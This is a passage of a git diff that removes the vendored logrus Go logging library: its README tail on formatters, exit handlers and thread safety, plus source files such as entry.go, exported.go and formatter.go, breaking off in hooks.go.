`WithField` or `WithFields` some fields are -automatically added to all logging events: - -1. `time`. The timestamp when the entry was created. -2. `msg`. The logging message passed to `{Info,Warn,Error,Fatal,Panic}` after - the `AddFields` call. E.g. `Failed to send event.` -3. `level`. The logging level. E.g. `info`. - -#### Environments - -Logrus has no notion of environment. - -If you wish for hooks and formatters to only be used in specific environments, -you should handle that yourself. For example, if your application has a global -variable `Environment`, which is a string representation of the environment you -could do: - -```go -import ( - log "github.com/sirupsen/logrus" -) - -init() { - // do something here to set environment depending on an environment variable - // or command-line flag - if Environment == "production" { - log.SetFormatter(&log.JSONFormatter{}) - } else { - // The TextFormatter is default, you don't actually have to do this. - log.SetFormatter(&log.TextFormatter{}) - } -} -``` - -This configuration is how `logrus` was intended to be used, but JSON in -production is mostly only useful if you do log aggregation with tools like -Splunk or Logstash. - -#### Formatters - -The built-in logging formatters are: - -* `logrus.TextFormatter`. Logs the event in colors if stdout is a tty, otherwise - without colors. - * *Note:* to force colored output when there is no TTY, set the `ForceColors` - field to `true`. To force no colored output even if there is a TTY set the - `DisableColors` field to `true`. For Windows, see - [github.com/mattn/go-colorable](https://github.com/mattn/go-colorable). - * When colors are enabled, levels are truncated to 4 characters by default. To disable - truncation set the `DisableLevelTruncation` field to `true`. - * All options are listed in the [generated docs](https://godoc.org/github.com/sirupsen/logrus#TextFormatter). -* `logrus.JSONFormatter`. Logs fields as JSON. - * All options are listed in the [generated docs](https://godoc.org/github.com/sirupsen/logrus#JSONFormatter). - -Third party logging formatters: - -* [`FluentdFormatter`](https://github.com/joonix/log). Formats entries that can be parsed by Kubernetes and Google Container Engine. -* [`logstash`](https://github.com/bshuster-repo/logrus-logstash-hook). Logs fields as [Logstash](http://logstash.net) Events. -* [`prefixed`](https://github.com/x-cray/logrus-prefixed-formatter). Displays log entry source along with alternative layout. -* [`zalgo`](https://github.com/aybabtme/logzalgo). Invoking the P͉ĖĢoĖŗĖŧˊwĖ–ÍˆĖ°ÍŽeĖŦÍ”Ė­Í‚r͚ĖŧĖšĖ˛ ĖĢÍ“Í‰ĖŗÍˆÅĖ Í•Í–ĖšfĖÍĖ  Í•Ė˛ĖžÍ–Í‘ZĖ–ĖĢˤĖĢÍĒa͉ĖŦÍˆĖ—l͖͎gĖŗĖĨo˰ĖĨĖ…!ĖŖÍ”Ė˛ĖģÍŠĖ„ Ė™Ė˜ĖĻĖšĖĻ. - -You can define your formatter by implementing the `Formatter` interface, -requiring a `Format` method. `Format` takes an `*Entry`. `entry.Data` is a -`Fields` type (`map[string]interface{}`) with all your fields as well as the -default ones (see Entries section above): - -```go -type MyJSONFormatter struct { -} - -log.SetFormatter(new(MyJSONFormatter)) - -func (f *MyJSONFormatter) Format(entry *Entry) ([]byte, error) { - // Note this doesn't include Time, Level and Message which are available on - // the Entry. Consult `godoc` on information about those fields or read the - // source of the official loggers. - serialized, err := json.Marshal(entry.Data) - if err != nil { - return nil, fmt.Errorf("Failed to marshal fields to JSON, %v", err) - } - return append(serialized, '\n'), nil -} -``` - -#### Logger as an `io.Writer` - -Logrus can be transformed into an `io.Writer`. That writer is the end of an `io.Pipe` and it is your responsibility to close it. - -```go -w := logger.Writer() -defer w.Close() - -srv := http.Server{ - // create a stdlib log.Logger that writes to - // logrus.Logger. - ErrorLog: log.New(w, "", 0), -} -``` - -Each line written to that writer will be printed the usual way, using formatters -and hooks. The level for those entries is `info`. - -This means that we can override the standard library logger easily: - -```go -logger := logrus.New() -logger.Formatter = &logrus.JSONFormatter{} - -// Use logrus for standard log output -// Note that `log` here references stdlib's log -// Not logrus imported under the name `log`. -log.SetOutput(logger.Writer()) -``` - -#### Rotation - -Log rotation is not provided with Logrus. Log rotation should be done by an -external program (like `logrotate(8)`) that can compress and delete old log -entries. It should not be a feature of the application-level logger. - -#### Tools - -| Tool | Description | -| ---- | ----------- | -|[Logrus Mate](https://github.com/gogap/logrus_mate)|Logrus mate is a tool for Logrus to manage loggers, you can initial logger's level, hook and formatter by config file, the logger will generated with different config at different environment.| -|[Logrus Viper Helper](https://github.com/heirko/go-contrib/tree/master/logrusHelper)|An Helper around Logrus to wrap with spf13/Viper to load configuration with fangs! And to simplify Logrus configuration use some behavior of [Logrus Mate](https://github.com/gogap/logrus_mate). [sample](https://github.com/heirko/iris-contrib/blob/master/middleware/logrus-logger/example) | - -#### Testing - -Logrus has a built in facility for asserting the presence of log messages. This is implemented through the `test` hook and provides: - -* decorators for existing logger (`test.NewLocal` and `test.NewGlobal`) which basically just add the `test` hook -* a test logger (`test.NewNullLogger`) that just records log messages (and does not output any): - -```go -import( - "github.com/sirupsen/logrus" - "github.com/sirupsen/logrus/hooks/test" - "github.com/stretchr/testify/assert" - "testing" -) - -func TestSomething(t*testing.T){ - logger, hook := test.NewNullLogger() - logger.Error("Helloerror") - - assert.Equal(t, 1, len(hook.Entries)) - assert.Equal(t, logrus.ErrorLevel, hook.LastEntry().Level) - assert.Equal(t, "Helloerror", hook.LastEntry().Message) - - hook.Reset() - assert.Nil(t, hook.LastEntry()) -} -``` - -#### Fatal handlers - -Logrus can register one or more functions that will be called when any `fatal` -level message is logged. The registered handlers will be executed before -logrus performs a `os.Exit(1)`. This behavior may be helpful if callers need -to gracefully shutdown. Unlike a `panic("Something went wrong...")` call which can be intercepted with a deferred `recover` a call to `os.Exit(1)` can not be intercepted. - -``` -... -handler := func() { - // gracefully shutdown something... -} -logrus.RegisterExitHandler(handler) -... -``` - -#### Thread safety - -By default, Logger is protected by a mutex for concurrent writes. The mutex is held when calling hooks and writing logs. -If you are sure such locking is not needed, you can call logger.SetNoLock() to disable the locking. - -Situation when locking is not needed includes: - -* You have no hooks registered, or hooks calling is already thread-safe. - -* Writing to logger.Out is already thread-safe, for example: - - 1) logger.Out is protected by locks. - - 2) logger.Out is a os.File handler opened with `O_APPEND` flag, and every write is smaller than 4k. (This allow multi-thread/multi-process writing) - - (Refer to http://www.notthewizard.com/2014/06/17/are-files-appends-really-atomic/) diff --git a/vendor/github.com/sirupsen/logrus/alt_exit.go b/vendor/github.com/sirupsen/logrus/alt_exit.go deleted file mode 100644 index 8af90637a9..0000000000 --- a/vendor/github.com/sirupsen/logrus/alt_exit.go +++ /dev/null @@ -1,64 +0,0 @@ -package logrus - -// The following code was sourced and modified from the -// https://github.com/tebeka/atexit package governed by the following license: -// -// Copyright (c) 2012 Miki Tebeka . -// -// Permission is hereby granted, free of charge, to any person obtaining a copy of -// this software and associated documentation files (the "Software"), to deal in -// the Software without restriction, including without limitation the rights to -// use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -// the Software, and to permit persons to whom the Software is furnished to do so, -// subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in all -// copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -// FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -// IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -import ( - "fmt" - "os" -) - -var handlers = []func(){} - -func runHandler(handler func()) { - defer func() { - if err := recover(); err != nil { - fmt.Fprintln(os.Stderr, "Error: Logrus exit handler error:", err) - } - }() - - handler() -} - -func runHandlers() { - for _, handler := range handlers { - runHandler(handler) - } -} - -// Exit runs all the Logrus atexit handlers and then terminates the program using os.Exit(code) -func Exit(code int) { - runHandlers() - os.Exit(code) -} - -// RegisterExitHandler adds a Logrus Exit handler, call logrus.Exit to invoke -// all handlers. The handlers will also be invoked when any Fatal log entry is -// made. -// -// This method is useful when a caller wishes to use logrus to log a fatal -// message but also needs to gracefully shutdown. An example usecase could be -// closing database connections, or sending a alert that the application is -// closing. -func RegisterExitHandler(handler func()) { - handlers = append(handlers, handler) -} diff --git a/vendor/github.com/sirupsen/logrus/appveyor.yml b/vendor/github.com/sirupsen/logrus/appveyor.yml deleted file mode 100644 index 96c2ce15f8..0000000000 --- a/vendor/github.com/sirupsen/logrus/appveyor.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: "{build}" -platform: x64 -clone_folder: c:\gopath\src\github.com\sirupsen\logrus -environment: - GOPATH: c:\gopath -branches: - only: - - master -install: - - set PATH=%GOPATH%\bin;c:\go\bin;%PATH% - - go version -build_script: - - go get -t - - go test diff --git a/vendor/github.com/sirupsen/logrus/doc.go b/vendor/github.com/sirupsen/logrus/doc.go deleted file mode 100644 index da67aba06d..0000000000 --- a/vendor/github.com/sirupsen/logrus/doc.go +++ /dev/null @@ -1,26 +0,0 @@ -/* -Package logrus is a structured logger for Go, completely API compatible with the standard library logger. - - -The simplest way to use Logrus is simply the package-level exported logger: - - package main - - import ( - log "github.com/sirupsen/logrus" - ) - - func main() { - log.WithFields(log.Fields{ - "animal": "walrus", - "number": 1, - "size": 10, - }).Info("A walrus appears") - } - -Output: - time="2015-09-07T08:48:33Z" level=info msg="A walrus appears" animal=walrus number=1 size=10 - -For a full guide visit https://github.com/sirupsen/logrus -*/ -package logrus diff --git a/vendor/github.com/sirupsen/logrus/entry.go b/vendor/github.com/sirupsen/logrus/entry.go deleted file mode 100644 index cc85d3aab4..0000000000 --- a/vendor/github.com/sirupsen/logrus/entry.go +++ /dev/null @@ -1,408 +0,0 @@ -package logrus - -import ( - "bytes" - "fmt" - "os" - "reflect" - "runtime" - "strings" - "sync" - "time" -) - -var ( - bufferPool *sync.Pool - - // qualified package name, cached at first use - logrusPackage string - - // Positions in the call stack when tracing to report the calling method - minimumCallerDepth int - - // Used for caller information initialisation - callerInitOnce sync.Once -) - -const ( - maximumCallerDepth int = 25 - knownLogrusFrames int = 4 -) - -func init() { - bufferPool = &sync.Pool{ - New: func() interface{} { - return new(bytes.Buffer) - }, - } - - // start at the bottom of the stack before the package-name cache is primed - minimumCallerDepth = 1 -} - -// Defines the key when adding errors using WithError. -var ErrorKey = "error" - -// An entry is the final or intermediate Logrus logging entry. It contains all -// the fields passed with WithField{,s}. It's finally logged when Trace, Debug, -// Info, Warn, Error, Fatal or Panic is called on it. These objects can be -// reused and passed around as much as you wish to avoid field duplication. -type Entry struct { - Logger *Logger - - // Contains all the fields set by the user. - Data Fields - - // Time at which the log entry was created - Time time.Time - - // Level the log entry was logged at: Trace, Debug, Info, Warn, Error, Fatal or Panic - // This field will be set on entry firing and the value will be equal to the one in Logger struct field. - Level Level - - // Calling method, with package name - Caller *runtime.Frame - - // Message passed to Trace, Debug, Info, Warn, Error, Fatal or Panic - Message string - - // When formatter is called in entry.log(), a Buffer may be set to entry - Buffer *bytes.Buffer - - // err may contain a field formatting error - err string -} - -func NewEntry(logger *Logger) *Entry { - return &Entry{ - Logger: logger, - // Default is three fields, plus one optional. Give a little extra room. - Data: make(Fields, 6), - } -} - -// Returns the string representation from the reader and ultimately the -// formatter. -func (entry *Entry) String() (string, error) { - serialized, err := entry.Logger.Formatter.Format(entry) - if err != nil { - return "", err - } - str := string(serialized) - return str, nil -} - -// Add an error as single field (using the key defined in ErrorKey) to the Entry. -func (entry *Entry) WithError(err error) *Entry { - return entry.WithField(ErrorKey, err) -} - -// Add a single field to the Entry. -func (entry *Entry) WithField(key string, value interface{}) *Entry { - return entry.WithFields(Fields{key: value}) -} - -// Add a map of fields to the Entry. -func (entry *Entry) WithFields(fields Fields) *Entry { - data := make(Fields, len(entry.Data)+len(fields)) - for k, v := range entry.Data { - data[k] = v - } - var field_err string - for k, v := range fields { - if t := reflect.TypeOf(v); t != nil && t.Kind() == reflect.Func { - field_err = fmt.Sprintf("can not add field %q", k) - if entry.err != "" { - field_err = entry.err + ", " + field_err - } - } else { - data[k] = v - } - } - return &Entry{Logger: entry.Logger, Data: data, Time: entry.Time, err: field_err} -} - -// Overrides the time of the Entry. -func (entry *Entry) WithTime(t time.Time) *Entry { - return &Entry{Logger: entry.Logger, Data: entry.Data, Time: t} -} - -// getPackageName reduces a fully qualified function name to the package name -// There really ought to be to be a better way... -func getPackageName(f string) string { - for { - lastPeriod := strings.LastIndex(f, ".") - lastSlash := strings.LastIndex(f, "/") - if lastPeriod > lastSlash { - f = f[:lastPeriod] - } else { - break - } - } - - return f -} - -// getCaller retrieves the name of the first non-logrus calling function -func getCaller() *runtime.Frame { - // Restrict the lookback frames to avoid runaway lookups - pcs := make([]uintptr, maximumCallerDepth) - depth := runtime.Callers(minimumCallerDepth, pcs) - frames := runtime.CallersFrames(pcs[:depth]) - - // cache this package's fully-qualified name - callerInitOnce.Do(func() { - logrusPackage = getPackageName(runtime.FuncForPC(pcs[0]).Name()) - - // now that we have the cache, we can skip a minimum count of known-logrus functions - // XXX this is dubious, the number of frames may vary store an entry in a logger interface - minimumCallerDepth = knownLogrusFrames - }) - - for f, again := frames.Next(); again; f, again = frames.Next() { - pkg := getPackageName(f.Function) - - // If the caller isn't part of this package, we're done - if pkg != logrusPackage { - return &f - } - } - - // if we got here, we failed to find the caller's context - return nil -} - -func (entry Entry) HasCaller() (has bool) { - return entry.Logger != nil && - entry.Logger.ReportCaller && - entry.Caller != nil -} - -// This function is not declared with a pointer value because otherwise -// race conditions will occur when using multiple goroutines -func (entry Entry) log(level Level, msg string) { - var buffer *bytes.Buffer - - // Default to now, but allow users to override if they want. - // - // We don't have to worry about polluting future calls to Entry#log() - // with this assignment because this function is declared with a - // non-pointer receiver. - if entry.Time.IsZero() { - entry.Time = time.Now() - } - - entry.Level = level - entry.Message = msg - if entry.Logger.ReportCaller { - entry.Caller = getCaller() - } - - entry.fireHooks() - - buffer = bufferPool.Get().(*bytes.Buffer) - buffer.Reset() - defer bufferPool.Put(buffer) - entry.Buffer = buffer - - entry.write() - - entry.Buffer = nil - - // To avoid Entry#log() returning a value that only would make sense for - // panic() to use in Entry#Panic(), we avoid the allocation by checking - // directly here. - if level <= PanicLevel { - panic(&entry) - } -} - -func (entry *Entry) fireHooks() { - entry.Logger.mu.Lock() - defer entry.Logger.mu.Unlock() - err := entry.Logger.Hooks.Fire(entry.Level, entry) - if err != nil { - fmt.Fprintf(os.Stderr, "Failed to fire hook: %v\n", err) - } -} - -func (entry *Entry) write() { - entry.Logger.mu.Lock() - defer entry.Logger.mu.Unlock() - serialized, err := entry.Logger.Formatter.Format(entry) - if err != nil { - fmt.Fprintf(os.Stderr, "Failed to obtain reader, %v\n", err) - } else { - _, err = entry.Logger.Out.Write(serialized) - if err != nil { - fmt.Fprintf(os.Stderr, "Failed to write to log, %v\n", err) - } - } -} - -func (entry *Entry) Trace(args ...interface{}) { - if entry.Logger.IsLevelEnabled(TraceLevel) { - entry.log(TraceLevel, fmt.Sprint(args...)) - } -} - -func (entry *Entry) Debug(args ...interface{}) { - if entry.Logger.IsLevelEnabled(DebugLevel) { - entry.log(DebugLevel, fmt.Sprint(args...)) - } -} - -func (entry *Entry) Print(args ...interface{}) { - entry.Info(args...) -} - -func (entry *Entry) Info(args ...interface{}) { - if entry.Logger.IsLevelEnabled(InfoLevel) { - entry.log(InfoLevel, fmt.Sprint(args...)) - } -} - -func (entry *Entry) Warn(args ...interface{}) { - if entry.Logger.IsLevelEnabled(WarnLevel) { - entry.log(WarnLevel, fmt.Sprint(args...)) - } -} - -func (entry *Entry) Warning(args ...interface{}) { - entry.Warn(args...) -} - -func (entry *Entry) Error(args ...interface{}) { - if entry.Logger.IsLevelEnabled(ErrorLevel) { - entry.log(ErrorLevel, fmt.Sprint(args...)) - } -} - -func (entry *Entry) Fatal(args ...interface{}) { - if entry.Logger.IsLevelEnabled(FatalLevel) { - entry.log(FatalLevel, fmt.Sprint(args...)) - } - entry.Logger.Exit(1) -} - -func (entry *Entry) Panic(args ...interface{}) { - if entry.Logger.IsLevelEnabled(PanicLevel) { - entry.log(PanicLevel, fmt.Sprint(args...)) - } - panic(fmt.Sprint(args...)) -} - -// Entry Printf family functions - -func (entry *Entry) Tracef(format string, args ...interface{}) { - if entry.Logger.IsLevelEnabled(TraceLevel) { - entry.Trace(fmt.Sprintf(format, args...)) - } -} - -func (entry *Entry) Debugf(format string, args ...interface{}) { - if entry.Logger.IsLevelEnabled(DebugLevel) { - entry.Debug(fmt.Sprintf(format, args...)) - } -} - -func (entry *Entry) Infof(format string, args ...interface{}) { - if entry.Logger.IsLevelEnabled(InfoLevel) { - entry.Info(fmt.Sprintf(format, args...)) - } -} - -func (entry *Entry) Printf(format string, args ...interface{}) { - entry.Infof(format, args...) -} - -func (entry *Entry) Warnf(format string, args ...interface{}) { - if entry.Logger.IsLevelEnabled(WarnLevel) { - entry.Warn(fmt.Sprintf(format, args...)) - } -} - -func (entry *Entry) Warningf(format string, args ...interface{}) { - entry.Warnf(format, args...) -} - -func (entry *Entry) Errorf(format string, args ...interface{}) { - if entry.Logger.IsLevelEnabled(ErrorLevel) { - entry.Error(fmt.Sprintf(format, args...)) - } -} - -func (entry *Entry) Fatalf(format string, args ...interface{}) { - if entry.Logger.IsLevelEnabled(FatalLevel) { - entry.Fatal(fmt.Sprintf(format, args...)) - } - entry.Logger.Exit(1) -} - -func (entry *Entry) Panicf(format string, args ...interface{}) { - if entry.Logger.IsLevelEnabled(PanicLevel) { - entry.Panic(fmt.Sprintf(format, args...)) - } -} - -// Entry Println family functions - -func (entry *Entry) Traceln(args ...interface{}) { - if entry.Logger.IsLevelEnabled(TraceLevel) { - entry.Trace(entry.sprintlnn(args...)) - } -} - -func (entry *Entry) Debugln(args ...interface{}) { - if entry.Logger.IsLevelEnabled(DebugLevel) { - entry.Debug(entry.sprintlnn(args...)) - } -} - -func (entry *Entry) Infoln(args ...interface{}) { - if entry.Logger.IsLevelEnabled(InfoLevel) { - entry.Info(entry.sprintlnn(args...)) - } -} - -func (entry *Entry) Println(args ...interface{}) { - entry.Infoln(args...) -} - -func (entry *Entry) Warnln(args ...interface{}) { - if entry.Logger.IsLevelEnabled(WarnLevel) { - entry.Warn(entry.sprintlnn(args...)) - } -} - -func (entry *Entry) Warningln(args ...interface{}) { - entry.Warnln(args...) -} - -func (entry *Entry) Errorln(args ...interface{}) { - if entry.Logger.IsLevelEnabled(ErrorLevel) { - entry.Error(entry.sprintlnn(args...)) - } -} - -func (entry *Entry) Fatalln(args ...interface{}) { - if entry.Logger.IsLevelEnabled(FatalLevel) { - entry.Fatal(entry.sprintlnn(args...)) - } - entry.Logger.Exit(1) -} - -func (entry *Entry) Panicln(args ...interface{}) { - if entry.Logger.IsLevelEnabled(PanicLevel) { - entry.Panic(entry.sprintlnn(args...)) - } -} - -// Sprintlnn => Sprint no newline. This is to get the behavior of how -// fmt.Sprintln where spaces are always added between operands, regardless of -// their type. Instead of vendoring the Sprintln implementation to spare a -// string allocation, we do the simplest thing. -func (entry *Entry) sprintlnn(args ...interface{}) string { - msg := fmt.Sprintln(args...) - return msg[:len(msg)-1] -} diff --git a/vendor/github.com/sirupsen/logrus/exported.go b/vendor/github.com/sirupsen/logrus/exported.go deleted file mode 100644 index 7342613c37..0000000000 --- a/vendor/github.com/sirupsen/logrus/exported.go +++ /dev/null @@ -1,219 +0,0 @@ -package logrus - -import ( - "io" - "time" -) - -var ( - // std is the name of the standard logger in stdlib `log` - std = New() -) - -func StandardLogger() *Logger { - return std -} - -// SetOutput sets the standard logger output. -func SetOutput(out io.Writer) { - std.SetOutput(out) -} - -// SetFormatter sets the standard logger formatter. -func SetFormatter(formatter Formatter) { - std.SetFormatter(formatter) -} - -// SetReportCaller sets whether the standard logger will include the calling -// method as a field. -func SetReportCaller(include bool) { - std.SetReportCaller(include) -} - -// SetLevel sets the standard logger level. -func SetLevel(level Level) { - std.SetLevel(level) -} - -// GetLevel returns the standard logger level. -func GetLevel() Level { - return std.GetLevel() -} - -// IsLevelEnabled checks if the log level of the standard logger is greater than the level param -func IsLevelEnabled(level Level) bool { - return std.IsLevelEnabled(level) -} - -// AddHook adds a hook to the standard logger hooks. -func AddHook(hook Hook) { - std.AddHook(hook) -} - -// WithError creates an entry from the standard logger and adds an error to it, using the value defined in ErrorKey as key. -func WithError(err error) *Entry { - return std.WithField(ErrorKey, err) -} - -// WithField creates an entry from the standard logger and adds a field to -// it. If you want multiple fields, use `WithFields`. -// -// Note that it doesn't log until you call Debug, Print, Info, Warn, Fatal -// or Panic on the Entry it returns. -func WithField(key string, value interface{}) *Entry { - return std.WithField(key, value) -} - -// WithFields creates an entry from the standard logger and adds multiple -// fields to it. This is simply a helper for `WithField`, invoking it -// once for each field. -// -// Note that it doesn't log until you call Debug, Print, Info, Warn, Fatal -// or Panic on the Entry it returns. -func WithFields(fields Fields) *Entry { - return std.WithFields(fields) -} - -// WithTime creats an entry from the standard logger and overrides the time of -// logs generated with it. -// -// Note that it doesn't log until you call Debug, Print, Info, Warn, Fatal -// or Panic on the Entry it returns. -func WithTime(t time.Time) *Entry { - return std.WithTime(t) -} - -// Trace logs a message at level Trace on the standard logger. -func Trace(args ...interface{}) { - std.Trace(args...) -} - -// Debug logs a message at level Debug on the standard logger. -func Debug(args ...interface{}) { - std.Debug(args...) -} - -// Print logs a message at level Info on the standard logger. -func Print(args ...interface{}) { - std.Print(args...) -} - -// Info logs a message at level Info on the standard logger. -func Info(args ...interface{}) { - std.Info(args...) -} - -// Warn logs a message at level Warn on the standard logger. -func Warn(args ...interface{}) { - std.Warn(args...) -} - -// Warning logs a message at level Warn on the standard logger. -func Warning(args ...interface{}) { - std.Warning(args...) -} - -// Error logs a message at level Error on the standard logger. -func Error(args ...interface{}) { - std.Error(args...) -} - -// Panic logs a message at level Panic on the standard logger. -func Panic(args ...interface{}) { - std.Panic(args...) -} - -// Fatal logs a message at level Fatal on the standard logger then the process will exit with status set to 1. -func Fatal(args ...interface{}) { - std.Fatal(args...) -} - -// Tracef logs a message at level Trace on the standard logger. -func Tracef(format string, args ...interface{}) { - std.Tracef(format, args...) -} - -// Debugf logs a message at level Debug on the standard logger. -func Debugf(format string, args ...interface{}) { - std.Debugf(format, args...) -} - -// Printf logs a message at level Info on the standard logger. -func Printf(format string, args ...interface{}) { - std.Printf(format, args...) -} - -// Infof logs a message at level Info on the standard logger. -func Infof(format string, args ...interface{}) { - std.Infof(format, args...) -} - -// Warnf logs a message at level Warn on the standard logger. -func Warnf(format string, args ...interface{}) { - std.Warnf(format, args...) -} - -// Warningf logs a message at level Warn on the standard logger. -func Warningf(format string, args ...interface{}) { - std.Warningf(format, args...) -} - -// Errorf logs a message at level Error on the standard logger. -func Errorf(format string, args ...interface{}) { - std.Errorf(format, args...) -} - -// Panicf logs a message at level Panic on the standard logger. -func Panicf(format string, args ...interface{}) { - std.Panicf(format, args...) -} - -// Fatalf logs a message at level Fatal on the standard logger then the process will exit with status set to 1. -func Fatalf(format string, args ...interface{}) { - std.Fatalf(format, args...) -} - -// Traceln logs a message at level Trace on the standard logger. -func Traceln(args ...interface{}) { - std.Traceln(args...) -} - -// Debugln logs a message at level Debug on the standard logger. -func Debugln(args ...interface{}) { - std.Debugln(args...) -} - -// Println logs a message at level Info on the standard logger. -func Println(args ...interface{}) { - std.Println(args...) -} - -// Infoln logs a message at level Info on the standard logger. -func Infoln(args ...interface{}) { - std.Infoln(args...) -} - -// Warnln logs a message at level Warn on the standard logger. -func Warnln(args ...interface{}) { - std.Warnln(args...) -} - -// Warningln logs a message at level Warn on the standard logger. -func Warningln(args ...interface{}) { - std.Warningln(args...) -} - -// Errorln logs a message at level Error on the standard logger. -func Errorln(args ...interface{}) { - std.Errorln(args...) -} - -// Panicln logs a message at level Panic on the standard logger. -func Panicln(args ...interface{}) { - std.Panicln(args...) -} - -// Fatalln logs a message at level Fatal on the standard logger then the process will exit with status set to 1. -func Fatalln(args ...interface{}) { - std.Fatalln(args...) -} diff --git a/vendor/github.com/sirupsen/logrus/formatter.go b/vendor/github.com/sirupsen/logrus/formatter.go deleted file mode 100644 index 408883773e..0000000000 --- a/vendor/github.com/sirupsen/logrus/formatter.go +++ /dev/null @@ -1,78 +0,0 @@ -package logrus - -import "time" - -// Default key names for the default fields -const ( - defaultTimestampFormat = time.RFC3339 - FieldKeyMsg = "msg" - FieldKeyLevel = "level" - FieldKeyTime = "time" - FieldKeyLogrusError = "logrus_error" - FieldKeyFunc = "func" - FieldKeyFile = "file" -) - -// The Formatter interface is used to implement a custom Formatter. It takes an -// `Entry`. It exposes all the fields, including the default ones: -// -// * `entry.Data["msg"]`. The message passed from Info, Warn, Error .. -// * `entry.Data["time"]`. The timestamp. -// * `entry.Data["level"]. The level the entry was logged at. -// -// Any additional fields added with `WithField` or `WithFields` are also in -// `entry.Data`. Format is expected to return an array of bytes which are then -// logged to `logger.Out`. -type Formatter interface { - Format(*Entry) ([]byte, error) -} - -// This is to not silently overwrite `time`, `msg`, `func` and `level` fields when -// dumping it. If this code wasn't there doing: -// -// logrus.WithField("level", 1).Info("hello") -// -// Would just silently drop the user provided level. Instead with this code -// it'll logged as: -// -// {"level": "info", "fields.level": 1, "msg": "hello", "time": "..."} -// -// It's not exported because it's still using Data in an opinionated way. It's to -// avoid code duplication between the two default formatters. -func prefixFieldClashes(data Fields, fieldMap FieldMap, reportCaller bool) { - timeKey := fieldMap.resolve(FieldKeyTime) - if t, ok := data[timeKey]; ok { - data["fields."+timeKey] = t - delete(data, timeKey) - } - - msgKey := fieldMap.resolve(FieldKeyMsg) - if m, ok := data[msgKey]; ok { - data["fields."+msgKey] = m - delete(data, msgKey) - } - - levelKey := fieldMap.resolve(FieldKeyLevel) - if l, ok := data[levelKey]; ok { - data["fields."+levelKey] = l - delete(data, levelKey) - } - - logrusErrKey := fieldMap.resolve(FieldKeyLogrusError) - if l, ok := data[logrusErrKey]; ok { - data["fields."+logrusErrKey] = l - delete(data, logrusErrKey) - } - - // If reportCaller is not set, 'func' will not conflict. - if reportCaller { - funcKey := fieldMap.resolve(FieldKeyFunc) - if l, ok := data[funcKey]; ok { - data["fields."+funcKey] = l - } - fileKey := fieldMap.resolve(FieldKeyFile) - if l, ok := data[fileKey]; ok { - data["fields."+fileKey] = l - } - } -} diff --git a/vendor/github.com/sirupsen/logrus/go.mod b/vendor/github.com/sirupsen/logrus/go.mod deleted file mode 100644 index 94574cc635..0000000000 --- a/vendor/github.com/sirupsen/logrus/go.mod +++ /dev/null @@ -1,11 +0,0 @@ -module github.com/sirupsen/logrus - -require ( - github.com/davecgh/go-spew v1.1.1 // indirect - github.com/konsorten/go-windows-terminal-sequences v1.0.1 - github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/stretchr/objx v0.1.1 // indirect - github.com/stretchr/testify v1.2.2 - golang.org/x/crypto v0.0.0-20180904163835-0709b304e793 - golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33 -) diff --git a/vendor/github.com/sirupsen/logrus/go.sum b/vendor/github.com/sirupsen/logrus/go.sum deleted file mode 100644 index 133d34ae11..0000000000 --- a/vendor/github.com/sirupsen/logrus/go.sum +++ /dev/null @@ -1,15 +0,0 @@ -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/konsorten/go-windows-terminal-sequences v0.0.0-20180402223658-b729f2633dfe h1:CHRGQ8V7OlCYtwaKPJi3iA7J+YdNKdo8j7nG5IgDhjs= -github.com/konsorten/go-windows-terminal-sequences v0.0.0-20180402223658-b729f2633dfe/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/objx v0.1.1 h1:2vfRuCMp5sSVIDSqO8oNnWJq7mPa6KVP3iPIwFBuy8A= -github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793 h1:u+LnwYTOOW7Ukr/fppxEb1Nwz0AtPflrblfvUudpo+I= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33 h1:I6FyU15t786LL7oL/hn43zqTuEGr4PN7F4XJ1p4E3Y8= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= diff --git a/vendor/github.com/sirupsen/logrus/hooks.go b/vendor/github.com/sirupsen/logrus/hooks.go deleted file mode 100644 index 3f151cdc39..0000000000 --- a/vendor/github.com/sirupsen/logrus/hooks.go +++ /dev/null @@ -1,34 +0,0 @@ -package logrus - -// A hook to be fired when logging on the logging levels returned from -// `Levels()` on your implementation of the interface. Note that this is not -// fired in a 